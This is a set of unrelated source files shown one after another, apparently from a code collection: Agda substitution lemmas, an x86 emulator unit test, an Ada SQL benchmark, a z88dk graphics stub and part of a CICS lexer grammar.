x /∋⋆ ρs = app∋⋆ ρs · x
-- Composition of multiple substitutions.
--
-- TODO: Remove?
∘⋆ : ∀ {Γ Δ} {ρ̂ : Γ ⇨̂ Δ} → Subs T₁ ρ̂ → Sub T₂ ρ̂
∘⋆ ε = id₂
∘⋆ (ρs ▻ ρ) = ∘⋆ ρs ∘ ρ
-- Some congruence lemmas.
trans-cong : ∀ {Γ₁ σ₁} {t₁ : Γ₁ ⊢₁ σ₁}
{Γ₂ σ₂} {t₂ : Γ₂ ⊢₁ σ₂} →
t₁ ≅-⊢₁ t₂ → trans · t₁ ≅-⊢₂ trans · t₂
trans-cong P.refl = P.refl
app∋⋆-cong : ∀ {Γ₁ Δ₁} {ρ̂₁ : Γ₁ ⇨̂ Δ₁} {ρs₁ : Subs T₁ ρ̂₁}
{Γ₂ Δ₂} {ρ̂₂ : Γ₂ ⇨̂ Δ₂} {ρs₂ : Subs T₁ ρ̂₂} →
ρs₁ ≅-⇨⋆ ρs₂ → app∋⋆ ρs₁ ≅-⟶ app∋⋆ ρs₂
app∋⋆-cong P.refl = [ P.refl ]
/∋⋆-cong :
∀ {Γ₁ Δ₁ σ₁} {x₁ : Γ₁ ∋ σ₁} {ρ̂₁ : Γ₁ ⇨̂ Δ₁} {ρs₁ : Subs T₁ ρ̂₁}
{Γ₂ Δ₂ σ₂} {x₂ : Γ₂ ∋ σ₂} {ρ̂₂ : Γ₂ ⇨̂ Δ₂} {ρs₂ : Subs T₁ ρ̂₂} →
x₁ ≅-∋ x₂ → ρs₁ ≅-⇨⋆ ρs₂ → x₁ /∋⋆ ρs₁ ≅-⊢₂ x₂ /∋⋆ ρs₂
/∋⋆-cong P.refl P.refl = P.refl
∘⋆-cong : ∀ {Γ₁ Δ₁} {ρ̂₁ : Γ₁ ⇨̂ Δ₁} {ρs₁ : Subs T₁ ρ̂₁}
{Γ₂ Δ₂} {ρ̂₂ : Γ₂ ⇨̂ Δ₂} {ρs₂ : Subs T₁ ρ̂₂} →
ρs₁ ≅-⇨⋆ ρs₂ → ∘⋆ ρs₁ ≅-⇨ ∘⋆ ρs₂
∘⋆-cong P.refl = P.refl
abstract
-- Applying a composed substitution to a variable is equivalent to
-- applying all the substitutions one after another.
--
-- TODO: Remove this lemma?
/∋-∘⋆ : ∀ {Γ Δ σ} {ρ̂ : Γ ⇨̂ Δ} (x : Γ ∋ σ) (ρs : Subs T₁ ρ̂) →
x /∋ ∘⋆ ρs ≅-⊢₂ var₂ · x /⊢⋆ ρs
/∋-∘⋆ x ε = begin
[ x /∋ id₂ ] ≡⟨ Simple./∋-id simple₂ x ⟩
[ var₂ · x ] ∎
/∋-∘⋆ x (ρs ▻ ρ) = begin
[ x /∋ ∘⋆ ρs ∘ ρ ] ≡⟨ /∋-∘ x (∘⋆ ρs) ρ ⟩
[ x /∋ ∘⋆ ρs /⊢ ρ ] ≡⟨ /⊢-cong (/∋-∘⋆ x ρs) P.refl ⟩
[ var₂ · x /⊢⋆ ρs /⊢ ρ ] ∎
-- x /∋⋆ ρs is synonymous with var₂ · x /⊢⋆ ρs.
--
-- TODO: Remove?
var-/⊢⋆ : ∀ {Γ Δ σ} {ρ̂ : Γ ⇨̂ Δ} (x : Γ ∋ σ) (ρs : Subs T₁ ρ̂) →
var₂ · x /⊢⋆ ρs ≅-⊢₂ x /∋⋆ ρs
var-/⊢⋆ x ε = P.refl
var-/⊢⋆ x (ε ▻ ρ) = begin
[ var₂ · x /⊢ ρ ] ≡⟨ var-/⊢ x ρ ⟩
[ trans · (x /∋ ρ) ] ∎
var-/⊢⋆ x (ρs ▻ ρ₁ ▻ ρ₂) = begin
[ var₂ · x /⊢⋆ (ρs ▻ ρ₁) /⊢ ρ₂ ] ≡⟨ /⊢-cong (var-/⊢⋆ x (ρs ▻ ρ₁)) P.refl ⟩
[ x /∋⋆ (ρs ▻ ρ₁) /⊢ ρ₂ ] ∎
-- A helper lemma.
/∋-≅-⊢-var : ∀ {Γ Δ σ} {ρ̂ : Γ ⇨̂ Δ}
(x : Γ ∋ σ) (ρ : Sub T₁ ρ̂) {y : Δ ∋ σ / ρ} →
x /∋ ρ ≅-⊢₁ var₁ · y →
var₂ · x /⊢ ρ ≅-⊢₂ var₂ · y
/∋-≅-⊢-var x ρ {y} hyp = begin
[ var₂ · x /⊢ ρ ] ≡⟨ var-/⊢ x ρ ⟩
[ trans · (x /∋ ρ) ] ≡⟨ trans-cong hyp ⟩
[ trans · (var₁ · y) ] ≡⟨ trans-var y ⟩
[ var₂ · y ] ∎
-- A variant of /∋-id.
var-/⊢-id : ∀ {Γ σ} (x : Γ ∋ σ) → var₂ · x /⊢ id₁ ≅-⊢₂ var₂ · x
var-/⊢-id x = /∋-≅-⊢-var x id₁ (Simple./∋-id simple₁ x)
-- A variant of /∋-wk-↑⁺.
var-/⊢-wk-↑⁺ : ∀ {Γ σ} Γ⁺ {τ} (x : Γ ++⁺ Γ⁺ ∋ τ) →
var₂ · x /⊢ wk₁ {σ = σ} ↑⁺₁ Γ⁺ ≅-⊢₂
var₂ · (lift weaken∋[ σ ] Γ⁺ · x)
var-/⊢-wk-↑⁺ Γ⁺ x =
/∋-≅-⊢-var x (wk₁ ↑⁺₁ Γ⁺) (Simple./∋-wk-↑⁺ simple₁ Γ⁺ x)
-- A variant of /∋-wk-↑⁺-↑⁺.
var-/⊢-wk-↑⁺-↑⁺ : ∀ {Γ σ} Γ⁺ Γ⁺⁺ {τ} (x : Γ ++⁺ Γ⁺ ++⁺ Γ⁺⁺ ∋ τ) →
var₂ · x /⊢ wk₁ {σ = σ} ↑⁺₁ Γ⁺ ↑⁺₁ Γ⁺⁺ ≅-⊢₂
var₂ · (lift (lift weaken∋[ σ ] Γ⁺) Γ⁺⁺ · x)
var-/⊢-wk-↑⁺-↑⁺ Γ⁺ Γ⁺⁺ x =
/∋-≅-⊢-var x (wk₁ ↑⁺₁ Γ⁺ ↑⁺₁ Γ⁺⁺)
(Simple./∋-wk-↑⁺-↑⁺ simple₁ Γ⁺ Γ⁺⁺ x)
-- Variants of zero-/∋-↑.
zero-/⊢-↑ : ∀ {Γ Δ} {ρ̂ : Γ ⇨̂ Δ} σ (ρ : Sub T₁ ρ̂) →
var₂ · zero /⊢ ρ ↑₁ σ ≅-⊢₂ var₂ · zero[ σ / ρ ]
zero-/⊢-↑ σ ρ =
/∋-≅-⊢-var zero (ρ ↑₁ σ) (Simple.zero-/∋-↑ simple₁ σ ρ)
zero-/⊢⋆-↑⋆ : ∀ {Γ Δ} {ρ̂ : Γ ⇨̂ Δ} σ (ρs : Subs T₁ ρ̂) →
var₂ · zero /⊢⋆ ρs ↑⋆₁ σ ≅-⊢₂
var₂ · zero[ σ /⋆ ρs ]
zero-/⊢⋆-↑⋆ σ ε = P.refl
zero-/⊢⋆-↑⋆ σ (ρs ▻ ρ) = begin
[ var₂ · zero /⊢⋆ ρs ↑⋆₁ σ /⊢ ρ ↑₁ ] ≡⟨ /⊢-cong (zero-/⊢⋆-↑⋆ σ ρs) (P.refl {x = [ ρ ↑₁ (σ /⋆ ρs) ]}) ⟩
[ var₂ · zero /⊢ ρ ↑₁ (σ /⋆ ρs) ] ≡⟨ zero-/⊢-↑ (σ /⋆ ρs) ρ ⟩
[ var₂ · zero ] ∎
-- Corollaries of ε-↑⁺⋆ and ε-↑₊⋆.
/⊢⋆-ε-↑⁺⋆ : ∀ {Γ} Γ⁺ {σ} (t : Γ ++⁺ Γ⁺ ⊢₂ σ) →
t /⊢⋆ ε ↑⁺⋆₁ Γ⁺ ≅-⊢₂ t
/⊢⋆-ε-↑⁺⋆ Γ⁺ t = begin
[ t /⊢⋆ ε ↑⁺⋆₁ Γ⁺ ] ≡⟨ /⊢⋆-cong (P.refl {x = [ t ]}) (Simple.ε-↑⁺⋆ simple₁ Γ⁺) ⟩
[ t /⊢⋆ ε ] ≡⟨ P.refl ⟩
[ t ] ∎
/⊢⋆-ε-↑₊⋆ : ∀ {Γ} Γ₊ {σ} (t : Γ ++₊ Γ₊ ⊢₂ σ) →
t /⊢⋆ ε ↑₊⋆₁ Γ₊ ≅-⊢₂ t
/⊢⋆-ε-↑₊⋆ Γ₊ t = begin
[ t /⊢⋆ ε ↑₊⋆₁ Γ₊ ] ≡⟨ /⊢⋆-cong (P.refl {x = [ t ]}) (Simple.ε-↑₊⋆ simple₁ Γ₊) ⟩
[ t /⊢⋆ ε ] ≡⟨ P.refl ⟩
[ t ] ∎
-- Corollaries of ▻-↑⁺⋆ and ▻-↑₊⋆.
/⊢⋆-▻-↑⁺⋆ :
∀ {Γ Δ Ε} {ρ̂₁ : Γ ⇨̂ Δ} {ρ̂₂ : Δ ⇨̂ Ε} Γ⁺ {σ}
(t : Γ ++⁺ Γ⁺ ⊢₂ σ) (ρs : Subs T₁ ρ̂₁) (ρ : Sub T₁ ρ̂₂) →
t /⊢⋆ (ρs ▻ ρ) ↑⁺⋆₁ Γ⁺ ≅-⊢₂ t /⊢⋆ ρs ↑⁺⋆₁ Γ⁺ /⊢ ρ ↑⁺₁ (Γ⁺ /⁺⋆ ρs)
/⊢⋆-▻-↑⁺⋆ Γ⁺ t ρs ρ =
/⊢⋆-cong (P.refl {x = [ t ]}) (Simple.▻-↑⁺⋆ simple₁ ρs ρ Γ⁺)
/⊢⋆-▻-↑₊⋆ :
∀ {Γ Δ Ε} {ρ̂₁ : Γ ⇨̂ Δ} {ρ̂₂ : Δ ⇨̂ Ε} Γ₊ {σ}
(t : Γ ++₊ Γ₊ ⊢₂ σ) (ρs : Subs T₁ ρ̂₁) (ρ : Sub T₁ ρ̂₂) →
t /⊢⋆ (ρs ▻ ρ) ↑₊⋆₁ Γ₊ ≅-⊢₂ t /⊢⋆ ρs ↑₊⋆₁ Γ₊ /⊢ ρ ↑₊₁ (Γ₊ /₊⋆ ρs)
/⊢⋆-▻-↑₊⋆ Γ₊ t ρs ρ =
/⊢⋆-cong (P.refl {x = [ t ]}) (Simple.▻-↑₊⋆ simple₁ ρs ρ Γ₊)
-- Corollaries of ε-↑⁺⋆/ε-↑₊⋆ and ▻-↑⁺⋆/▻-↑₊⋆.
/⊢⋆-ε-▻-↑⁺⋆ : ∀ {Γ Δ} {ρ̂ : Γ ⇨̂ Δ} Γ⁺ {σ}
(t : Γ ++⁺ Γ⁺ ⊢₂ σ) (ρ : Sub T₁ ρ̂) →
t /⊢⋆ (ε ▻ ρ) ↑⁺⋆₁ Γ⁺ ≅-⊢₂ t /⊢ ρ ↑⁺₁ Γ⁺
/⊢⋆-ε-▻-↑⁺⋆ Γ⁺ t ρ = begin
[ t /⊢⋆ (ε ▻ ρ) ↑⁺⋆₁ Γ⁺ ] ≡⟨ /⊢⋆-cong (P.refl {x = [ t ]}) (Simple.▻-↑⁺⋆ simple₁ ε ρ Γ⁺) ⟩
[ t /⊢⋆ ε ↑⁺⋆₁ Γ⁺ /⊢ ρ ↑⁺₁ (Γ⁺ /̂⁺ îd) ] ≡⟨ /⊢-cong (/⊢⋆-ε-↑⁺⋆ Γ⁺ t) (Simple.↑⁺-cong simple₁ P.refl (/̂⁺-îd Γ⁺)) ⟩
[ t /⊢ ρ ↑⁺₁ Γ⁺ ] ∎
/⊢⋆-ε-▻-▻-↑⁺⋆ :
∀ {Γ Δ Ε} {ρ̂₁ : Γ ⇨̂ Δ} {ρ̂₂ : Δ ⇨̂ Ε} Γ⁺ {σ}
(t : Γ ++⁺ Γ⁺ ⊢₂ σ) (ρ₁ : Sub T₁ ρ̂₁) (ρ₂ : Sub T₁ ρ̂₂) →
t /⊢⋆ (ε ▻ ρ₁ ▻ ρ₂) ↑⁺⋆₁ Γ⁺ ≅-⊢₂
t /⊢ ρ₁ ↑⁺₁ Γ⁺ /⊢ ρ₂ ↑⁺₁ (Γ⁺ /⁺ ρ₁)
/⊢⋆-ε-▻-▻-↑⁺⋆ Γ⁺ t ρ₁ ρ₂ = begin
[ t /⊢⋆ (ε ▻ ρ₁ ▻ ρ₂) ↑⁺⋆₁ Γ⁺ ] ≡⟨ /⊢⋆-cong (P.refl {x = [ t ]}) (Simple.▻-↑⁺⋆ simple₁ (ε ▻ ρ₁) ρ₂ Γ⁺) ⟩
[ t /⊢⋆ (ε ▻ ρ₁) ↑⁺⋆₁ Γ⁺ /⊢ ρ₂ ↑⁺₁ (Γ⁺ /⁺ ρ₁) ] ≡⟨ /⊢-cong (/⊢⋆-ε-▻-↑⁺⋆ Γ⁺ t ρ₁) P.refl ⟩
[ t /⊢ ρ₁ ↑⁺₁ Γ⁺ /⊢ ρ₂ ↑⁺₁ (Γ⁺ /⁺ ρ₁) ] ∎
/⊢⋆-ε-▻-↑₊⋆ : ∀ {Γ Δ} {ρ̂ : Γ ⇨̂ Δ} Γ₊ {σ}
(t : Γ ++₊ Γ₊ ⊢₂ σ) (ρ : Sub T₁ ρ̂) →
t /⊢⋆ (ε ▻ ρ) ↑₊⋆₁ Γ₊ ≅-⊢₂ t /⊢ ρ ↑₊₁ Γ₊
/⊢⋆-ε-▻-↑₊⋆ Γ₊ t ρ = begin
[ t /⊢⋆ (ε ▻ ρ) ↑₊⋆₁ Γ₊ ] ≡⟨ /⊢⋆-cong (P.refl {x = [ t ]}) (Simple.▻-↑₊⋆ simple₁ ε ρ Γ₊) ⟩
[ t /⊢⋆ ε ↑₊⋆₁ Γ₊ /⊢ ρ ↑₊₁ (Γ₊ /̂₊ îd) ] ≡⟨ /⊢-cong (/⊢⋆-ε-↑₊⋆ Γ₊ t) (Simple.↑₊-cong simple₁ P.refl (/̂₊-îd Γ₊)) ⟩
[ t /⊢ ρ ↑₊₁ Γ₊ ] ∎
/⊢⋆-ε-▻-▻-↑₊⋆ :
∀ {Γ Δ Ε} {ρ̂₁ : Γ ⇨̂ Δ} {ρ̂₂ : Δ ⇨̂ Ε} Γ₊ {σ}
(t : Γ ++₊ Γ₊ ⊢₂ σ) (ρ₁ : Sub T₁ ρ̂₁) (ρ₂ : Sub T₁ ρ̂₂) →
t /⊢⋆ (ε ▻ ρ₁ ▻ ρ₂) ↑₊⋆₁ Γ₊ ≅-⊢₂
t /⊢ ρ₁ ↑₊₁ Γ₊ /⊢ ρ₂ ↑₊₁ (Γ₊ /₊ ρ₁)
/⊢⋆-ε-▻-▻-↑₊⋆ Γ₊ t ρ₁ ρ₂ = begin
[ t /⊢⋆ (ε ▻ ρ₁ ▻ ρ₂) ↑₊⋆₁ Γ₊ ] ≡⟨ /⊢⋆-cong (P.refl {x = [ t ]}) (Simple.▻-↑₊⋆ simple₁ (ε ▻ ρ₁) ρ₂ Γ₊) ⟩
[ t /⊢⋆ (ε ▻ ρ₁) ↑₊⋆₁ Γ₊ /⊢ ρ₂ ↑₊₁ (Γ₊ /₊ ρ₁) ] ≡⟨ /⊢-cong (/⊢⋆-ε-▻-↑₊⋆ Γ₊ t ρ₁) P.refl ⟩
[ t /⊢ ρ₁ ↑₊₁ Γ₊ /⊢ ρ₂ ↑₊₁ (Γ₊ /₊ ρ₁) ] ∎
-- Application of sub cancels one occurrence of suc.
suc-/⊢-sub : ∀ {Γ σ τ} (x : Γ ∋ σ) (t : Γ ⊢₁ τ) →
var₂ · suc x /⊢ sub₁ t ≅-⊢₂ var₂ · x
suc-/⊢-sub x t = begin
[ var₂ · suc x /⊢ sub₁ t ] ≡⟨ var-/⊢ (suc x) (sub₁ t) ⟩
[ trans · (suc x /∋ sub₁ t) ] ≡⟨ P.refl ⟩
[ trans · (x /∋ id₁) ] ≡⟨ trans-cong (Simple./∋-id simple₁ x) ⟩
[ trans · (var₁ · x) ] ≡⟨ trans-var x ⟩
[ var₂ · x ] ∎
-- First weakening and then substituting something for the first
-- variable is equivalent to doing nothing.
wk-∘-sub : ∀ {Γ σ} (t : Γ ⊢₁ σ) → wk₂ ∘ sub₁ t ≅-⇨ id₂[ Γ ]
wk-∘-sub t = extensionality P.refl λ x → begin
[ x /∋ wk₂ ∘ sub₁ t ] ≡⟨ /∋-∘ x wk₂ (sub₁ t) ⟩
[ x /∋ wk₂ /⊢ sub₁ t ] ≡⟨ /⊢-cong (Simple./∋-wk simple₂ x) P.refl ⟩
[ var₂ · suc x /⊢ sub₁ t ] ≡⟨ suc-/⊢-sub x t ⟩
[ var₂ · x ] ≡⟨ P.sym $ Simple./∋-id simple₂ x ⟩
[ x /∋ id₂ ] ∎
-- id is a left identity of _∘_ (more or less).
id-∘ : ∀ {Γ Δ} {ρ̂ : Γ ⇨̂ Δ} (ρ : Sub T₁ ρ̂) → id₂ ∘ ρ ≅-⇨ map trans ρ
id-∘ ρ = extensionality P.refl λ x → begin
[ x /∋ id₂ ∘ ρ ] ≡⟨ /∋-∘ x id₂ ρ ⟩
[ x /∋ id₂ /⊢ ρ ] ≡⟨ /⊢-cong (Simple./∋-id simple₂ x) (P.refl {x = [ ρ ]}) ⟩
[ var₂ · x /⊢ ρ ] ≡⟨ var-/⊢ x ρ ⟩
[ trans · (x /∋ ρ) ] ≡⟨ P.sym $ /∋-map x trans ρ ⟩
[ x /∋ map trans ρ ] ∎
-- One can translate a substitution either before or after
-- weakening it.
map-trans-wk-subst : ∀ {Γ Δ σ} {ρ̂ : Γ ⇨̂ Δ} (ρ : Sub T₁ ρ̂) →
map trans (wk-subst₁[ σ ] ρ) ≅-⇨
wk-subst₂[ σ ] (map trans ρ)
map-trans-wk-subst {σ = σ} ρ = begin
[ map trans (wk-subst₁[ σ ] ρ) ] ≡⟨ P.sym $ map-[∘] trans weaken₁[ σ ] ρ ⟩
[ map (trans [∘] weaken₁[ σ ]) ρ ] ≡⟨ map-cong-ext₁ P.refl trans-weaken (P.refl {x = [ ρ ]}) ⟩
[ map (weaken₂ [∘] trans) ρ ] ≡⟨ map-[∘] weaken₂ trans ρ ⟩
[ wk-subst₂ (map trans ρ) ] ∎
-- One can translate a substitution either before or after lifting
-- it.
map-trans-↑ : ∀ {Γ Δ σ} {ρ̂ : Γ ⇨̂ Δ} (ρ : Sub T₁ ρ̂) →
map trans (ρ ↑₁ σ) ≅-⇨ map trans ρ ↑₂ σ
map-trans-↑ {σ = σ} ρ = begin
[ map trans (ρ ↑₁ σ) ] ≡⟨ map-cong (trans ∎-⟶) (Simple.unfold-↑ simple₁ ρ) ⟩
[ map trans (wk-subst₁[ σ / ρ ] ρ ▻ var₁ · zero) ] ≡⟨ map-▻ trans (wk-subst₁ ρ) _ ⟩
[ map trans (wk-subst₁[ σ / ρ ] ρ) ▻ trans · (var₁ · zero) ] ≡⟨ ▻⇨-cong P.refl (map-trans-wk-subst ρ) (trans-var zero) ⟩
[ wk-subst₂ (map trans ρ) ▻ var₂ · zero ] ≡⟨ P.sym $ Simple.unfold-↑ simple₂ (map trans ρ) ⟩
[ map trans ρ ↑₂ ] ∎
open Application application public
|
unittests/ASM/OpSize/66_5A.asm | cobalt2727/FEX | 628 | 174982 | <reponame>cobalt2727/FEX
%ifdef CONFIG
{
"RegData": {
"XMM0": ["0x404000003F800000", "0x0"],
"XMM1": ["0x3FF0000000000000", "0x4008000000000000"]
},
"MemoryRegions": {
"0x100000000": "4096"
}
}
%endif
mov rdx, 0xe0000000
mov rax, 0x3FF0000000000000
mov [rdx + 8 * 0], rax
mov rax, 0x4008000000000000
mov [rdx + 8 * 1], rax
mov rax, 0xFFFFFFFFFFFFFFFF
mov [rdx + 8 * 2], rax
mov rax, 0xFFFFFFFFFFFFFFFF
mov [rdx + 8 * 3], rax
movapd xmm0, [rdx + 8 * 2]
movapd xmm1, [rdx]
cvtpd2ps xmm0, xmm1
hlt
|
Dave/Logic/Theorems.agda | DavidStahl97/formal-proofs | 0 | 10420 | module Dave.Logic.Theorems where
K : {A B : Set} → A → B → A
K a b = a
S : {A B C : Set} → (A → B → C) → (A → B) → A → C
S = λ f → λ g → λ a → f a (g a)
|
ado/src/sqlbench-simple.adb | fjudith/sql-benchmark | 24 | 15486 | -----------------------------------------------------------------------
-- sqlbench-simple -- Simple SQL benchmark
-- Copyright (C) 2018 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with Ada.Strings.Unbounded;
with ADO.Statements;
with Util.Files;
package body Sqlbench.Simple is
use Ada.Strings.Unbounded;
generic
LIMIT : Positive;
procedure Select_Table_N (Context : in out Context_Type);
procedure Select_Table_N (Context : in out Context_Type) is
DB : constant ADO.Sessions.Master_Session := Context.Get_Session;
Count : Natural;
Stmt : ADO.Statements.Query_Statement
:= DB.Create_Statement ("SELECT * FROM test_simple LIMIT " & Positive'Image (LIMIT));
begin
for I in 1 .. Context.Repeat loop
Stmt.Execute;
Count := 0;
while Stmt.Has_Elements loop
Count := Count + 1;
Stmt.Next;
end loop;
if Count /= LIMIT then
raise Benchmark_Error with "Invalid result count:" & Natural'Image (Count);
end if;
end loop;
end Select_Table_N;
procedure Do_Static (Context : in out Context_Type);
procedure Select_Static (Context : in out Context_Type);
procedure Connect_Select_Static (Context : in out Context_Type);
procedure Drop_Create (Context : in out Context_Type);
procedure Insert (Context : in out Context_Type);
procedure Select_Table_1 is new Select_Table_N (1);
procedure Select_Table_10 is new Select_Table_N (10);
procedure Select_Table_100 is new Select_Table_N (100);
procedure Select_Table_500 is new Select_Table_N (500);
procedure Select_Table_1000 is new Select_Table_N (1000);
Create_SQL : Ada.Strings.Unbounded.Unbounded_String;
procedure Register (Tests : in out Context_Type) is
Driver : constant String := Tests.Get_Driver_Name;
begin
if Driver /= "sqlite" and Driver /= "postgresql" then
Tests.Register (Do_Static'Access, "DO 1");
end if;
Tests.Register (Select_Static'Access, "SELECT 1");
Tests.Register (Connect_Select_Static'Access, "CONNECT; SELECT 1; CLOSE");
Tests.Register (Drop_Create'Access, "DROP table; CREATE table", 1);
Tests.Register (Insert'Access, "INSERT INTO table", 10);
Tests.Register (Select_Table_1'Access, "SELECT * FROM table LIMIT 1");
Tests.Register (Select_Table_10'Access, "SELECT * FROM table LIMIT 10");
Tests.Register (Select_Table_100'Access, "SELECT * FROM table LIMIT 100");
Tests.Register (Select_Table_500'Access, "SELECT * FROM table LIMIT 500");
Tests.Register (Select_Table_1000'Access, "SELECT * FROM table LIMIT 1000");
Util.Files.Read_File (Tests.Get_Config_Path ("create-table.sql"), Create_SQL);
end Register;
procedure Do_Static (Context : in out Context_Type) is
Stmt : ADO.Statements.Query_Statement := Context.Session.Create_Statement ("DO 1");
begin
for I in 1 .. Context.Repeat loop
Stmt.Execute;
end loop;
end Do_Static;
procedure Select_Static (Context : in out Context_Type) is
Stmt : ADO.Statements.Query_Statement := Context.Session.Create_Statement ("SELECT 1");
begin
for I in 1 .. Context.Repeat loop
Stmt.Execute;
end loop;
end Select_Static;
procedure Connect_Select_Static (Context : in out Context_Type) is
begin
for I in 1 .. Context.Repeat loop
declare
DB : constant ADO.Sessions.Session := Context.Factory.Get_Session;
Stmt : ADO.Statements.Query_Statement := DB.Create_Statement ("SELECT 1");
begin
Stmt.Execute;
end;
end loop;
end Connect_Select_Static;
procedure Drop_Create (Context : in out Context_Type) is
Drop_Stmt : ADO.Statements.Query_Statement
:= Context.Session.Create_Statement ("DROP TABLE test_simple");
Create_Stmt : ADO.Statements.Query_Statement
:= Context.Session.Create_Statement (To_String (Create_SQL));
begin
for I in 1 .. Context.Repeat loop
begin
Drop_Stmt.Execute;
Context.Session.Commit;
exception
when ADO.Statements.SQL_Error =>
Context.Session.Rollback;
end;
Context.Session.Begin_Transaction;
Create_Stmt.Execute;
Context.Session.Commit;
Context.Session.Begin_Transaction;
end loop;
end Drop_Create;
procedure Insert (Context : in out Context_Type) is
Stmt : ADO.Statements.Query_Statement
:= Context.Session.Create_Statement ("INSERT INTO test_simple (value) VALUES (1)");
begin
for I in 1 .. Context.Repeat loop
Stmt.Execute;
end loop;
Context.Session.Commit;
end Insert;
end Sqlbench.Simple;
|
libsrc/gfx/wide/w_xorplot_callee.asm | Frodevan/z88dk | 38 | 99391 | <reponame>Frodevan/z88dk
;
; Z88 Graphics Functions - Small C+ stubs
;
; Written around the Interlogic Standard Library
;
; Stubs Written by <NAME> - 30/9/98
;
;
; $Id: w_xorplot_callee.asm $
;
; CALLER LINKAGE FOR FUNCTION POINTERS
; ----- void xorplot(int x, int y)
IF !__CPU_INTEL__
SECTION code_graphics
PUBLIC xorplot_callee
PUBLIC _xorplot_callee
PUBLIC ASMDISP_XORPLOT_CALLEE
EXTERN swapgfxbk
EXTERN __graphics_end
EXTERN w_xorpixel
.xorplot_callee
._xorplot_callee
pop bc
pop de ; y
pop hl ; x
push bc
.asmentry
IF !__CPU_INTEL__
push ix
ENDIF
call swapgfxbk
call w_xorpixel
jp __graphics_end
DEFC ASMDISP_XORPLOT_CALLEE = asmentry - xorplot_callee
ENDIF
|
1-base/math/applet/test/suite/math_tests-linear_algebra_2d.ads | charlie5/lace-alire | 1 | 17017 | <filename>1-base/math/applet/test/suite/math_tests-linear_algebra_2d.ads
with Ahven.Framework;
package math_Tests.linear_Algebra_2d
is
type Test is new Ahven.Framework.Test_Case with null record;
overriding
procedure Initialize (T : in out Test);
end math_Tests.linear_Algebra_2d;
|
server/src/main/antlr4/com/broadcom/lsp/cobol/core/parser/CICSLexer.g4 | temanbrcom/che-che4z-lsp-for-cobol | 0 | 5240 | /*
* Copyright (c) 2020 Broadcom.
* The term "Broadcom" refers to Broadcom Inc. and/or its subsidiaries.
*
* This program and the accompanying materials are made
* available under the terms of the Eclipse Public License 2.0
* which is available at https://www.eclipse.org/legal/epl-2.0/
*
* SPDX-License-Identifier: EPL-2.0
*
* Contributors:
* Broadcom, Inc. - initial API and implementation
*/
lexer grammar CICSLexer;
ABCODE : A B C O D E;
ABDUMP : A B D U M P;
ABEND : A B E N D;
ABORT : A B O R T;
ABPROGRAM : A B P R O G R A M;
ABSTIME : A B S T I M E;
ACCUM : A C C U M;
ACEE : A C E E;
ACQACTIVITY : A C Q A C T I V I T Y;
ACQPROCESS : A C Q P R O C E S S;
ACQUACTIVITY : A C Q U A C T I V I T Y;
ACTION : A C T I O N;
ACTIVITY : A C T I V I T Y;
ACTIVITYID : A C T I V I T Y I D;
ACTPARTN : A C T P A R T N;
ADD : A D D;
ADDRESS : A D D R E S S;
AFTER : A F T E R;
AID : A I D;
ALARM : A L A R M;
ALLOCATE : A L L O C A T E;
ALTER : A L T E R;
ALTSCRNHT : A L T S C R N H T;
ALTSCRNWD : A L T S C R N W D;
AND : A N D;
ANYKEY : A N Y K E Y;
APLKYBD : A P L K Y B D;
APLTEXT : A P L T E X T;
APPLID : A P P L I D;
AS : A S;
ASA : A S A;
ASIS : A S I S;
ASKTIME : A S K T I M E;
ASRAINTRPT : A S R A I N T R P T;
ASRAKEY : A S R A K E Y;
ASRAPSW : A S R A P S W;
ASRAREGS : A S R A R E G S;
ASRASPC : A S R A S P C;
ASRASTG : A S R A S T G;
ASSIGN : A S S I G N;
ASYNCHRONOUS : A S Y N C H R O N O U S;
AT : A T;
ATTACH : A T T A C H;
ATTACHID : A T T A C H I D;
ATTRIBUTES : A T T R I B U T E S;
AUTHENTICATE : A U T H E N T I C A T E;
AUTOPAGE : A U T O P A G E;
AUXILIARY : A U X I L I A R Y;
BASE64 : B A S E '6' '4';
BASICAUTH : B A S I C A U T H;
BELOW : B E L O W;
BIF : B I F;
BINARY : B I N A R Y;
BIT : B I T;
BODYCHARSET : B O D Y C H A R S E T;
BOOKMARK : B O O K M A R K;
BRDATA : B R D A T A;
BRDATALENGTH : B R D A T A L E N G T H;
BREXIT : B R E X I T;
BRIDGE : B R I D G E;
BROWSETOKEN : B R O W S E T O K E N;
BTRANS : B T R A N S;
BUFFER : B U F F E R;
BUILD : B U I L D;
BURGEABILITY : B U R G E A B I L I T Y;
CADDRLENGTH : C A D D R L E N G T H;
CANCEL : C A N C E L;
CARD : C A R D;
CBUFF : C B U F F;
CCSID : C C S I D;
CERTIFICATE : C E R T I F I C A T E;
CHANGE : C H A N G E;
CHANGETIME : C H A N G E T I M E;
CHANNEL : C H A N N E L;
CHAR : C H A R;
CHARACTERSET : C H A R A C T E R S E T;
CHECK : C H E C K;
CHUNKEND : C H U N K E N D;
CHUNKING : C H U N K I N G;
CHUNKNO : C H U N K N O;
CHUNKYES : C H U N K Y E S;
CICSDATAKEY : C I C S D A T A K E Y;
CIPHERS : C I P H E R S;
CLASS : C L A S S;
CLEAR : C L E A R;
CLICONVERT : C L I C O N V E R T;
CLIENT : C L I E N T;
CLIENTADDR : C L I E N T A D D R;
CLIENTADDRNU : C L I E N T A D D R N U;
CLIENTCONV : C L I E N T C O N V;
CLIENTNAME : C L I E N T N A M E;
CLNTADDR6NU : C L N T A D D R '6' N U;
CLNTIPFAMILY : C L N T I P F A M I L Y;
CLOSE : C L O S E;
CLOSESTATUS : C L O S E S T A T U S;
CLRPARTN : C L R P A R T N;
CMDSEC : C M D S E C;
CNAMELENGTH : C N A M E L E N G T H;
CNOTCOMPL : C N O T C O M P L;
CODEPAGE : C O D E P A G E;
COLOR : C O L O R;
COMMAREA : C O M M A R E A;
COMMONNAME : C O M M O N N A M E;
COMMONNAMLEN : C O M M O N N A M L E N;
COMPAREMAX : C O M P A R E M A X;
COMPAREMIN : C O M P A R E M I N;
COMPLETE : C O M P L E T E;
COMPOSITE : C O M P O S I T E;
COMPSTATUS : C O M P S T A T U S;
CONDITION : C O N D I T I O N;
CONFIRM : C O N F I R M;
CONFIRMATION : C O N F I R M A T I O N;
